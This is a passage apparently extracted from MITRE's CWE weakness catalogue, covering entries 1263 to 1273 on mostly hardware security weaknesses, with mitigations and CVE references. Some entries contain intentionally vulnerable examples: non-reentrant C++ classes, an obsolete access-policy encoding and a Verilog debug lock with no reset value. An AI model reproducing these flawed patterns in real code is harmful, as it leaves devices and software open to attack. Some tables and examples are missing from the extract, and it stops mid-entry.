CWE-1263: Insufficient Physical Protection Mechanism

Weakness ID : 1263 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The product is designed such that certain parts be restricted yet does not sufficiently protect against an unauthorized actor's ability to physically access these restricted regions of the product.

Extended Description

Sections of a product intended as restricted may be inadvertently or intentionally rendered accessible when the implemented physical protections are insufficient. The specific requirements around how robust the design of the physical protection mechanism needs to be depends on the type of product being protected. Selecting the correct physical protection mechanism and properly enforcing it through implementation and manufacturing are critical to the overall physical security of the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Access Control	Varies by Context *Confidentiality, Integrity, and Access Control of product internals may result in a variety of negative outcomes and lead to numerous further compromise to system security.*	

Potential Mitigations

Phase: Architecture and Design

Specific physical protection requirements depend strongly on contextual factors including the level of acceptable risk associated with compromise to the product's physical protection mechanism. Designers could incorporate an anti-tampering measure that protects against or detects when the product has been tampered with.

Phase: Testing

The testing phase of the lifecycle should establish a method for determining whether the physical protection mechanism levered for preventing unauthorized access to certain sections or parts of the product.

Phase: Manufacturing

CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels

Weakness ID : 1264 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The hardware logic for error handling and security checks can incorrectly forward data before the security check is complete.

Extended Description

Many high-performance on-chip bus protocols and processor data-paths employ separate channels for control and data to increase parallelism and maximize throughput. Bugs in the hardware logic that handle errors and security checks can make it possible for data to be forwarded before the completion of the security checks. If the data can propagate to a location in the hardware observable to an attacker, loss of data confidentiality can occur. 'Meltdown' is a concrete example of how de-synchronization between data and permissions checking logic can violate confidentiality requirements. Data loaded from a page marked as privileged was returned to the cpu regardless of current privilege level for performance reasons. The assumption was that the cpu could later remove all traces of this data during the handling of the illegal memory access exception, but this assumption was proven false as traces of the secret data were not removed from microarchitectural state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Thoroughly verify the data routing logic to ensure that any error handling or security checks effectively block illegal dataflows.

Demonstrative Examples

Example 1:

There are several standard on-chip bus protocols used in modern SoCs to allow communication between components. There are a wide variety of commercially available hardware IP implementing the interconnect logic for these protocols. A bus connects components which initiate/request communications such as processors and DMA controllers (bus masters) with peripherals which respond to requests. In a typical system, the privilege level or security designation of the bus master along with the intended functionality of each peripheral determine the security policy specifying which specific bus masters can access specific peripherals. This security policy (commonly referred to as a bus firewall) can be enforced using separate IP/logic from the actual interconnect responsible for the data routing.

Example Language: Other *(bad)*

The firewall and data routing logic becomes de-synchronized due to a hardware logic bug allowing components that should not be allowed to communicate to share data. For example, consider an SoC with two processors. One is being used as a root of trust and can access a cryptographic key storage peripheral. The other processor (application cpu) may run potentially untrusted code and should not access the key store. If the application cpu can issue a read request to the key store which is not blocked due to de-synchronization of data routing and the bus firewall, disclosure of cryptographic keys is possible.

Example Language: Other *(good)*

All data is correctly buffered inside the interconnect until the firewall has determined that the endpoint is allowed to receive the data.

Observed Examples

Reference	Description
CVE-2017-5754	Systems with microprocessors utilizing speculative execution and indirect branch prediction may allow unauthorized disclosure of information to an attacker with local user access via a side-channel analysis of the data cache. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5754*

CWE-1265: Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls

Weakness ID : 1265 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

During execution of non-reentrant code, the software performs a call that unintentionally produces a nested invocation of the non-reentrant code.

Extended Description

In complex software, a single function call may lead to many different possible code paths, some of which may involve deeply nested calls. It may be difficult to foresee all possible code paths that could emanate from a given function call. In some systems, an external actor can manipulate inputs to the system and thereby achieve a wide range of possible control flows. This is frequently of concern in software that executes script from untrusted sources. Examples of such software are web browsers and PDF readers. A weakness is present when one of the possible code paths resulting from a function call alters program state that the original caller assumes to be unchanged during the call.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf	C	371	State Issues	1861

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State *Exploitation of this weakness can leave the application in an unexpected state and cause variables to be reassigned before the first invocation has completed. This may eventually result in memory corruption or unexpected code execution.*	Unknown

Potential Mitigations

Phase: Architecture and Design

When architecting a system that will execute untrusted code in response to events, consider executing the untrusted event handlers asynchronously (asynchronous message passing) as

opposed to executing them synchronously at the time each event fires. The untrusted code should execute at the start of the next iteration of the thread's message loop. In this way, calls into non-reentrant code are strictly serialized, so that each operation completes fully before the next operation begins. Special attention must be paid to all places where type coercion may result in script execution. Performing all needed coercions at the very beginning of an operation can help reduce the chance of operations executing at unexpected junctures.

Effectiveness = High

Phase: Implementation

Make sure the code (e.g., function or class) in question is reentrant by not leveraging non-local data, not modifying its own code, and not calling other non-reentrant code.

Effectiveness = High

Demonstrative Examples

Example 1:

The implementation of the Widget class in the following C++ code is an example of code that is not designed to be reentrant. If an invocation of a method of Widget inadvertently produces a second nested invocation of a method of Widget, then data member backgroundImage may unexpectedly change during execution of the outer call.

Example Language: C++ *(bad)*

```
class Widget
{
    private:
        Image* backgroundImage;
    public:
        void click()
        {
            if (backgroundImage)
            {
                backgroundImage->click();
            }
        }
        void changeBackgroundImage(Image* newImage)
        {
            if (backgroundImage)
            {
                delete backgroundImage;
            }
            backgroundImage = newImage;
        }
}
class Image
{
    public:
        void click()
        {
            scriptEngine->fireOnImageClick();
            /* perform some operations using “this” pointer */
        }
}
```

Looking closer at this example, Widget::click() calls backgroundImage->click(), which in turn calls scriptEngine->fireOnImageClick(). The code within fireOnImageClick() invokes the appropriate script handler routine as defined by the document being rendered. In this scenario this script routine is supplied by an adversary and this malicious script makes a call to Widget::changeBackgroundImage(), deleting the Image object pointed to by backgroundImage. When control returns to Image::click, the function's "backgroundImage "this" pointer (which is the former value of backgroundImage) is a dangling pointer. The root of this weakness is that while

one operation on Widget (click) is in the midst of executing, a second operation on the Widget object may be invoked (in this case, the second invocation is a call to different method, namely changeBackgroundImage) that modifies the non-local variable.

Example 2:

This is another example of C++ code that is not designed to be reentrant.

Example Language: C++ *(bad)*

```
class Request
{
    private:
        std::string uri;
        /* ... */
    public:
        void setup(ScriptObject* _uri)
        {
            this->uri = scriptEngine->coerceToString(_uri);
            /* ... */
        }
        void send(ScriptObject* _data)
        {
            Credentials credentials = GetCredentials(uri);
            std::string data = scriptEngine->coerceToString(_data);
            doSend(uri, credentials, data);
        }
}
```

The expected order of operations is a call to Request::setup(), followed by a call to Request::send(). Request::send() calls scriptEngine->coerceToString(_data) to coerce a script-provided parameter into a string. This operation may produce script execution. For example, if the script language is ECMAScript, arbitrary script execution may result if _data is an adversary-supplied ECMAScript object having a custom toString method. If the adversary's script makes a new call to Request::setup, then when control returns to Request::send, the field uri and the local variable credentials will no longer be consistent with one another. As a result, credentials for one resource will be shared improperly with a different resource. The root of this weakness is that while one operation on Request (send) is in the midst of executing, a second operation may be invoked (setup).

Observed Examples

Reference	Description
CVE-2014-1772	In this vulnerability, by registering a malicious onerror handler, an adversary can produce unexpected re-entrance of a CDOMRange object. [REF-1098] *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1772*
CVE-2018-8174	This CVE covers several vulnerable scenarios enabled by abuse of the Class_Terminate feature in Microsoft VBScript. In one scenario, Class_Terminate is used to produce an undesirable re-entrance of ScriptingDictionary during execution of that object's destructor. In another scenario, a vulnerable condition results from a recursive entrance of a property setter method. This recursive invocation produces a second, spurious call to the Release method of a reference-counted object, causing a UAF when that object is freed prematurely. This vulnerability pattern has been popularized as "Double Kill". [REF-1099] *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8174*

CWE-1266: Improper Scrubbing of Sensitive Data from Decommissioned Device

Weakness ID : 1266 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product does not properly provide a capability for the product administrator to remove sensitive data at the time the product is decommissioned. A scrubbing capability could be missing, insufficient, or incorrect.

Extended Description

When a product is decommissioned - i.e., taken out of service - best practices or regulatory requirements may require the administrator to remove or overwrite sensitive data first, i.e. "scrubbing." Improper scrubbing of sensitive data from a decommissioned device leaves that data vulnerable to acquisition by a malicious actor. Sensitive data may include, but is not limited to, device/manufacturer proprietary information, user/device credentials, network configurations, and other forms of sensitive data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	877

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	

Potential Mitigations

Phase: Architecture and Design

Functionality to completely scrub data from a product at the conclusion of its lifecycle should be part of the design phase. Trying to add this function on top of an existing architecture could lead to incomplete removal of sensitive information/data.

Phase: Policy

The manufacturer should describe where sensitive data will be written to. For example, this information may be conveyed to the consumer in an Administrators Guide or a Statement of

Volatility. The manufacturer should also describe the procedure which may be followed to remove this sensitive data.

Phase: Implementation

If the capability to wipe sensitive data isn't built-in, the manufactuerer may need to provide a utility to scrub sensitive data from storage if that data is located in a place which is non-accessible by the administrator. One example of this could be when sensitive data is stored on an EEPROM for which there is no user/admin interface provided by the system.

CWE-1267: Policy Uses Obsolete Encoding

Weakness ID : 1267 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product uses an obsolete encoding mechanism to implement access controls.

Extended Description

Within a System-On-Chip (SoC), various circuits and hardware engines generate transactions for the purpose of accessing (read/write) assets or performing various actions (e.g., reset, fetch, compute, etc.). Among various types of message information, a typical transaction is comprised of source identity (identifying the originator of the transaction) and a destination identity (routing the transaction to the respective entity). Sometimes the transactions are qualified with a Security Identifier. This Security Identifier helps the destination agent decide on the set of allowed actions (e.g., access to an asset for reads and writes). A policy encoder is used to map the bus transactions to Security Identifiers that in turn are used as access-controls/protection mechanisms. A common weakness involves using an encoding which is no longer trusted, i.e., an obsolete encoding.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Modify Memory Read Memory Modify Files or Directories Read Files or Directories DoS: Resource Consumption (Other) Execute Unauthorized Code or Commands Gain Privileges or Assume Identity Bypass Protection Mechanism Reduce Reliability	High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Security Identifier Decoders must be reviewed for design inconsistency and common weaknesses. Access and programming flows must be tested in pre-silicon and post-silicon testing.

Effectiveness = High

Demonstrative Examples

Example 1:

For example, consider a system that has four bus masters. The table below provides bus masters, their Security Identifiers, and trust assumptions.

The policy encoding is to be defined such that Security Identifier will be used in implemented access-controls.

The bits in the bus transaction that contain Security-Identifier information are Bus_transaction [15:11].

The assets are the AES-Key registers for encryption or decryption. The key is of 128 bits implemented as a set of four, 32-bit registers.

Below is an example of a policy encoding scheme inherited from a previous project where all “ODD” numbered Security Identifiers are trusted.

Example Language: *(bad)*

```
If (Bus_transaction[14] == “1”)
    Trusted = “1”
Else
    Trusted = “0”
If (trusted)
    Allow access to AES-Key registers
```

```
Else
   Deny access to AES-Key registers
```

The inhereted policy encoding is obsolete and does not work for the new system where an untrusted bus master with an odd Security Identifier exists in the system, i.e., Master_3 whose Security Identifier is “11”. Based on the old policy, the untrusted bus master (Master_3) has access to the AES-Key registers. To resolve this, a register AES_KEY_ACCESS_POLICY can be defined to provide necessary, access controls:

New Policy:

The AES_KEY_ACCESS_POLICY register defines which agents with a Security Identifier in the transaction can access the AES-key registers. Each bit in this 32-bit register defines a Security Identifier. There could be a maximum of 32 security identifiers that are allowed accesses to the AES-key registers. The number of the bit when set (i.e., “1”) allows respective action from an agent whose identity matches the number of the bit and, if “0” (i.e., Clear), disallows the respective action to that corresponding agent. Thus, any bus master with Security Identifier “01” is allowed access to the AES-Key registers. Below is the Pseudo Code for policy encoding:

Example Language: *(good)*

```
Security_Identifier[4:0] = Bus_transaction[15:11]
If (AES_KEY_ACCESS_POLICY[Security_Identifier] == “1”)
   Allow access to AES-Key registers
Else
   Deny access to AES-Key registers
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1268: Agents Included in Control Policy are not Contained in Less-Privileged Policy

Weakness ID : 1268 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product's hardware-enforced access control for a particular resource improperly accounts for privilege discrepancies between control and write policies.

Extended Description

Integrated circuits and hardware engines may provide access to resources (device-configuration, encryption keys, etc.) belonging to trusted firmware or software modules (commonly set by a BIOS or a bootloader). These accesses are typically controlled and limited by the hardware. Hardware design access control is sometimes implemented using a policy. A policy defines which entity or

agent may or may not be allowed to perform an action. When a system implements multiple levels of policies, a control policy may allow direct access to a resource as well as changes to the policies themselves.

Such resources that include agents in the control policy but not in write policy could unintentionally allow the untrusted agent to insert itself in the write policy register. Inclusion in the write policy register could allow a malicious or misbehaving agent write access to resources. This action could result in security risks consisting of leaked information, leaked encryption keys, or even modification of device configuration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Modify Memory Read Memory DoS: Crash, Exit, or Restart Execute Unauthorized Code or Commands Gain Privileges or Assume Identity Bypass Protection Mechanism Read Files or Directories Reduce Reliability	High

Potential Mitigations

Phase: Architecture and Design

Access-control-policy definition and programming flow must be tested in pre-silicon and post-silicon testing

Phase: Implementation

Access-control-policy definition and programming flow must be tested in pre-silicon and post-silicon testing

Demonstrative Examples

Example 1:

Consider a system with a register for storing an AES key for encryption or decryption. The key is composed of 128 bits implemented as a set of four 32-bit registers. The key registers are resources and registers, AES_KEY_CONTROL_POLICY, AES_KEY_READ_POLICY and AES_KEY_WRITE_POLICY, and are defined to provide necessary, access controls.

The control-policy register defines which agents can write to the read-policy and write-policy registers. The read-policy register defines which agents can read the AES-key registers, and write-policy register defines which agents can program or write to those registers. Each 32-bit register can support access control for a maximum of 32 agents. The number of the bit when set (i.e., “1”) allows respective action from an agent whose identity matches the number of the bit and, if “0” (i.e., Clear), disallows the respective action to that corresponding agent.

Example Language: *(bad)*

In the above example, the AES_KEY_CONTROL_POLICY register has agents with identities “4”and “3” in its policy. Assuming the agent with identity “4” is trusted and the agent with identity “3” is untrusted. The untrusted agent “3” can write to AES_KEY_WRITE_POLICY with a value of 0x0000000C thus allowing write access to AES_ENC_DEC_KEY_0 through AES_ENC_DEC_KEY_3 registers.

1. The AES_KEY_CONTROL_POLICY defines which agents have write access to the AES_KEY_CONTROL_POLICY, AES_KEY_READ_POLICY, and the AES_KEY_WRITE_POLICY registers,
2. The AES-key registers can only be read or used by a crypto agent with identity “1” when bit #1 is set.
3. The AES-key registers can only be programmed by a trusted firmware with identity “2” when bit #2 is set.

For the above example, the control, read-and-write-policy registers’ values are defined as below.

Example Language: *(good)*

CWE-1269: Product Released in Non-Release Configuration

Weakness ID : 1269 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product released to market is released in pre-production or manufacturing configuration.

Extended Description

Products in the pre-production or manufacturing stages are configured to have many debug hooks and debug capabilities, including but not limited to:

- Ability to override/bypass various cryptographic checks (including authentication, authorization, and integrity)
- Ability to read/write/modify/dump internal state (including registers and memory)
- Ability to change system configurations
- Ability to run hidden or private commands that are not allowed during production (as they expose IP).

The above is by no means an exhaustive list, but it alludes to the greater capability and the greater state of vulnerability of a product during it's preproduction or manufacturing state.

Complexity increases when multiple parties are involved in executing the tests before the final production version. For example, a chipmaker might fabricate a chip and run its own preproduction tests, following which the chip would be delivered to the Original Equipment Manufacturer (OEM), who would now run a second set of different preproduction tests on the same chip. Only after both of these sets of activities are complete, can the overall manufacturing phase be called “complete” and have the “Manufacturing Complete” fuse blown. However, if the OEM forgets to blow the Manufacturing Complete fuse, then the system remains in the manufacturing stage, rendering the system both exposed and vulnerable.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Language : Verilog *(Prevalence = Undetermined)*

Language : Compiled *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Other *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control Accountability Authentication Authorization Non-Repudiation	Other	High

Potential Mitigations

Phase: Implementation

Ensure that there exists a marker for denoting the Manufacturing Complete stage and that the Manufacturing Complete marker gets updated at the Manufacturing Complete stage (i.e., the Manufacturing Complete fuse gets blown).

Phase: Integration

Ensure that there exists a marker for denoting the Manufacturing Complete stage and that the Manufacturing Complete marker gets updated at the Manufacturing Complete stage (i.e., the Manufacturing Complete fuse gets blown).

Phase: Manufacturing

Ensure that there exists a marker for denoting the Manufacturing Complete stage and that the Manufacturing Complete marker gets updated at the Manufacturing Complete stage (i.e., the Manufacturing Complete fuse gets blown).

Demonstrative Examples

Example 1:

This example shows what happens when a preproduction system is made available for production.

Example Language: *(bad)*

Suppose the chipmaker has a way of scanning all the internal memory (containing chipmaker-level secrets) during the manufacturing phase, and the way the chipmaker or the Original Equipment Manufacturer (OEM) marks the end of the manufacturing phase is by blowing a Manufacturing Complete fuse. Now, suppose that whoever blows the Manufacturing Complete fuse inadvertently forgets to execute the step to blow the fuse.

An attacker will now be able to scan all the internal memory (containing chipmaker-level secrets).

Example Language: *(good)*

Blow the Manufacturing Complete fuse.

Observed Examples

Reference	Description
CVE-2019-13945	Regarding SSA-686531, a hardware based manufacturing access on S7-1200 and S7-200 SMART has occurred. A vulnerability has been identified in SIMATIC S7-1200 CPU family (incl. SIPLUS variants) (All versions), SIMATIC S7-200 SMART CPU family (All versions). There is an access mode used during manufacturing of S7-1200 CPUs that allows additional diagnostic functionality. The security vulnerability could be exploited by an attacker with physical access to the UART interface during boot process. At the time of advisory publication, no public exploitation of this security vulnerability was known. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13945*
CVE-2018-4251	Laptops with Intel chipsets were found to be running in Manufacturing Mode. After this information was reported to the OEM, the vulnerability (CVE-2018-4251) was patched disallowing access to the interface. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-4251*

CWE-1270: Generation of Incorrect Security Identifiers

Weakness ID : 1270 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product implements a Security Identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Identifiers generated in the system are incorrect.

Extended Description

Systems-On-Chip (Integrated circuits and hardware engines) implement Security Identifiers to differentiate/identify actions originated from various agents. These actions could be ‘read’, ‘write’, ‘program’, ‘reset’, ‘fetch’, ‘compute’, etc. Security identifiers are generated and assigned to every agent in the System (SoC) that is either capable of generating an action or receiving an action from another agent. Every agent could be assigned a unique, Security Identifier based on its trust level or privileges. Hence the generation of the Security Identifiers is very important to achieve security in the SoC. A common weakness that can exist is that the generated Security Identifiers are incorrect. Consequently, the same agent may have multiple identifiers or multiple agents may have the same security identifier. In either case, the security consequences could be a Denial-of-Service (DoS) or execution of an action that in turn could result in privilege escalation or unintended access.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

PeerOf	B	1259	Improper Protection of Security Identifiers	1790

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Processor IPTechnology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Modify Files or Directories Execute Unauthorized Code or Commands Bypass Protection Mechanism Gain Privileges or Assume Identity Read Memory Modify Memory	High

Scope	Impact	Likelihood
	DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Generation of Security Identifiers must be reviewed for design inconsistency and common weaknesses. Security-Identifier definition and programming flow must be tested in pre-silicon and post-silicon testing.

Demonstrative Examples

Example 1:

For example, consider a system with a register for storing AES key for encryption or decryption. The key is of 128 bits implemented as a set of four 32-bit registers. The key registers are assets, and register, AES_KEY_ACCESS_POLICY, is defined to provide necessary access controls. The access-policy register defines which agents with a security identifier in the transaction can access the AES-key registers. Each bit in this 32-bit register defines a security identifier. There could be a maximum of 32 security identifiers that are allowed access to the AES-key registers. The number of the bit when set (i.e., “1”) allows respective action from an agent whose identity matches the number of the bit and, if “0” (i.e., Clear), disallows the respective action to that corresponding agent.

Let’s assume the system has two agents: a Main-controller and an Aux-controller. The respective Security Identifiers are “1” and “2”.

An agent with Security Identifier “1” has access to AES_ENC_DEC_KEY_0 through AES_ENC_DEC_KEY_3 registers. As per the above access policy, the AES-Key-access policy allows access to the AES-key registers if the security identifier is “1”.

Example Language: Other *(bad)*

The SoC incorrectly generates cSecurity Identifier “1” for every agent. In other words, both Main-controller and Aux-controller are assigned Security Identifier "1".

Both agents have access to the AES-key registers.

Example Language: Other *(good)*

The SoC should correctly generate Security Identifiers, assigning "1" to the Main-controller and "2" to the Aux-controller

CWE-1271: Missing Known Value on Reset for Registers Holding Security Settings

Weakness ID : 1271 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The product's logic for state elements that implement security-critical functionality does not have a mechanism for being initialized to a known value on reset.

Extended Description

When a circuit is first brought out of reset, the state of storage elements will be unknown if not explicitly initialized by the logic. If registers holding security-critical state are not properly initialized before being used to control access to design assets or critical resources, there will be a timing window during which the device is in an insecure state and vulnerable to attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1293

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Authentication Authorization	Varies by Context *The attacker may gain access to some resources if the state of the access control circuitry is not set to a known value on reset.*	

Potential Mitigations

Phase: Implementation

Perform design checks to identify any uninitialized flip-flops in the design to ensure none are security-critical.

Phase: Architecture and Design

All registers holding security-critical state should be set to a secure value explicitly on reset or carefully designed to ensure that the inputs of the register update the contents to a secure value before any downstream logic is affected by the security state.

Demonstrative Examples

Example 1:

Shown below is a positive clock edge triggered flip-flop used to implement a lock bit for the test and debug interface. When the circuit is first brought out of reset, the state of the storage element will be unknown until the enable and d-input signals update the stored value. In this example, an attacker can reset the device until the test and debug interface is unlocked and access the test interface until the lock signal is driven to a known state by the logic.

Example Language: Other *(bad)*

```
always @(posedge clk) begin
    if (en) lock_jtag <= d;
end
```

The flip-flop can be set to a known value (0 or 1) on reset, but requires that the logic explicitly update the output of the flip-flop if the reset signal is active.

Example Language: Other *(good)*

```
always @(posedge clk) begin
    if (~reset) lock_jtag <= 0;
    else if (en) lock_jtag <= d;
end
```

CWE-1272: Debug/Power State Transitions Leak Information

Weakness ID : 1272 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Sensitive information may leak as a result of a debug or power state transition when information access restrictions change as a result of the transition.

Extended Description

A device or system frequently employs many power and sleep states during its normal operation (e.g., normal power, additional power, low power, hibernate, deep sleep, etc.). Similarly, depending on the supplied credentials, a device may be operating within a debug condition. For example, a hypothetical enumeration of debug levels may be:

- Level 1 (fully open, all debug methods available)
- Level 2 (partially open, some debug methods available), and
- Level 3 (not open, minimal to no debug methods available).

Depending on various factors, state transitions can happen from one power or debug state to another. If there is information available in the current state and it is not properly removed before the next transistion state, there can be sensitive information leakage.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291

Applicable Platforms

Language : VHDL *(Prevalence = Undetermined)*

Language : Verilog *(Prevalence = Undetermined)*

Language : Compiled *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Other *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control Accountability Authentication Authorization Non-Repudiation	Read Memory Read Application Data *Depending on the information that is compromised, an attacker can use that information to unlock additional capabilities of the device and take advantage of hidden functionalities. This could compromise any security property, including the ones listed above.*	High

Potential Mitigations

Phase: Architecture and Design

During state transitions, it is essential that the device also take appropriate action to scrub the secrets that are available in the current state but should not be available in the next state.

Demonstrative Examples

Example 1:

This example shows how an attacker can take advantage of an incorrect, power/debug-state transition.

Example Language: *(bad)*

Suppose a device is transitioning from state A to state B. During state A, it can read certain private keys from the hidden fuses that are only accessible in state A but not in B. It reads those keys, performs certain operations, and then transitions to state B where those private keys are no longer accessible.

However, during this transition, it does not scrub the memory. So, at this moment, even though the private keys are no longer accessible directly from the fuses in state B, they can be accessed indirectly by reading the memory, which contains the footprint of the private keys.

It is essential to consider not just the source of the secrets but, rather, perform a taint analysis of how far the secrets have traveled.

Example Language: *(good)*

For transition from state A to state B, do a taint analysis of where confidential information has propagated. Make sure all secrets from all such locations are removed during the transition.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1207	Debug and Test Problems	1194	2011

CWE-1273: Device Unlock Credential Sharing

Weakness ID : 1273 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The credentials necessary for unlocking a device are shared across multiple parties and may expose sensitive information.

Extended Description

“Unlocking a device” often means activating certain, unadvertised, debug and manufacturer-specific capabilities of a device using sensitive credentials. Unlocking a device might be necessary for the purpose of troubleshooting device problems. For example, suppose a device contains the ability to dump the content of the full system memory by disabling the memory-protection mechanisms. Since this is a highly security-sensitive capability, this capability is “locked” in the production part. Unless the device gets unlocked by supplying the proper credentials the debug capablilities are not available. For cases where the chip designer, chip manufacturer (fabricator), and manufacturing and assembly testers are the all employed by the same company, the compromise of the credentials are greatly reduced. However, when the chip designer is employed by one company, the chip manufacturer is employed by another company (a foundry), and the assemblers and testers are employed by yet a third company. Since these different companies will need to perform various tests on the device to verify correct device function, they all need to share the unlock key. Unfortunately, the level of secrecy and policy might be quite different at each company, greatly increasing the risk of sensitive credentials being compromised.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	200	Exposure of Sensitive Information to an Unauthorized Actor	466

Applicable Platforms

Language : VHDL *(Prevalence = Undetermined)*

Language : Verilog *(Prevalence = Undetermined)*

Language : Compiled *(Prevalence = Undetermined)*

